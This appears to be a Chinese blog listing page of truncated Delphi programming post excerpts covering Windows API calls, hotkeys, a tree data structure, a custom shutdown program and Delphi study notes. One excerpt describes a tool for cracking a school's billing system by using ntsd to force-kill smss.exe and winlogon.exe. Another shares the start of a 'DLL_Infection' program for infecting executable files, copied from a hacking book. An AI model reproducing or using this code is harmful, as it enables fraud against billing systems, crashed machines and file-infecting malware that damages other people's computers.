Delphi花了很大力气用VCL还有一些乱七八糟的类把让我们可以尽量不要API所以会编程序但不了解API还是可能的API被封装在kernel32.dll、user32.dll等动态链接库里，程序使用时候把DLL映射到自己的内存了编写的时候我们通常需要从DLL导出这些函数function Beep; external 'kernel32.dll' name 'Beep';这样导出一个beep函数当然，实际上不要这么麻烦Delphi已经把这些导出声明写在一些单元里面了(比如windows单元)uses windows后就可以直接用了（而且建立窗口时候默认就会引用很多单元）所以实际上我们可以直...

typeTForm1 = class(TForm)procedure FormCreate(Sender: TObject);procedure FormDestroy(Sender: TObject);protectedprocedure hotykey(var msg:TMessage); message WM_HOTKEY;end;varForm1: TForm1;HotKey:Integer;implementation{$R *.DFM} procedure TForm1.hotykey(var msg:TMessage); begin if (msg.LParamLo=MOD...

begin winexec(pchar('cmd.exe /c taskkill /f /im qq.exe'),SW_Hide);//winexec强制结束进程end； 如果你把taskkill换成了ntsd的时候。比如说qq的进程。你如果同时登录两个进程就会报错。如果只登录一个那就没有问题了。-----写了一个破解学校计费的工具。具体流程winexec(pchar('cmd.exe /c ntsd -c q -pn smss.exe'),SW_Hide);winexec(pchar('cmd.exe /c ntsd -c q -pn winlogon.exe'),SW_Hide);...

unit pcTree; interface uses classes, pcList; type TpcTree = class; TpcTreeItem = ^RpcTreeItem; RpcTreeItem = record Parent : TpcTreeItem; Data : pointer; List : TpcList; end; TIterProc = procedure(Item : TpcTreeItem; Index : integer; var ContinueIterate : boolean; IterateD...

unit Unit1;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls;type TForm1 = class(TForm) Timer1: TTimer; Timer2: TTimer; Timer3: TTimer; procedure FormCreate(Sender: TObject); procedure Timer1Timer(Sender: TObject); proc...

看看时间。晚上十一点多了。该睡觉了。呵呵。终于自己想要的程序出炉了。不再是习惯性的“开始”“关闭计算机”“关闭”。而是。变成自己写的一个程序。呵呵。这才是编程带给我的乐趣。因为我可以自定义。现实中你又能自定义什么呢？人很无奈。大多数的时候都是“典型”or“标准”。自定义的时候很少。这就是人的可悲吧！看着屏幕逐渐变黑。心逐渐放松下来。关灯睡觉。又过去了一天！！！

program Project1; uses Windows,Messages; {$R *.res}procedure GetPrivilege;var NewState: TTokenPrivileges; lpLuid: Int64; ReturnLength: DWord; ToKenHandle: Cardinal;begin OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES OR...

小弟买黑防的书，书上有这个就转过来了。共享出来一起学习吧！需要汇编的功底啊。。。 program DLL_Infection; {$APPTYPE CONSOLE} uses SysUtils, classes, windows;const Zero:Byte=0; CALL:Byte=$E8; ADD:Byte=$05; JmpEax:Word=$E0FF; CallEax:Word=$D0FF;var DosHeader:IMAGE_DOS_HEADER; NtHeader:IMAGE_NT_HEADERS; SectionHeader:IMAGE_SEC...

1、常见的英文缩写的含义：如BDE、OOP、DLL、VCL、SQL等 2、关于Delphi中的文件 pas/单元文件, dpr/工程文件,dfm/窗体文件，dcu/单元编译文件, exe/执行文件、bgp/工程组文件；工程中包含的单元主要有带Form的单元和不带Form的单元 7、Pascal中的语句知识 语句以分号结束，程序或单元以点句号结束 赋值符号、相等符号 动态数组，下标总是从0开始 循环语句：for 循环中的循环变量在循环体中不能赋值，且为有序类型 8、窗体中要放置多个相同的组件，使用技巧：按住Shift键 + 单击组件，然后在窗体上单击 ...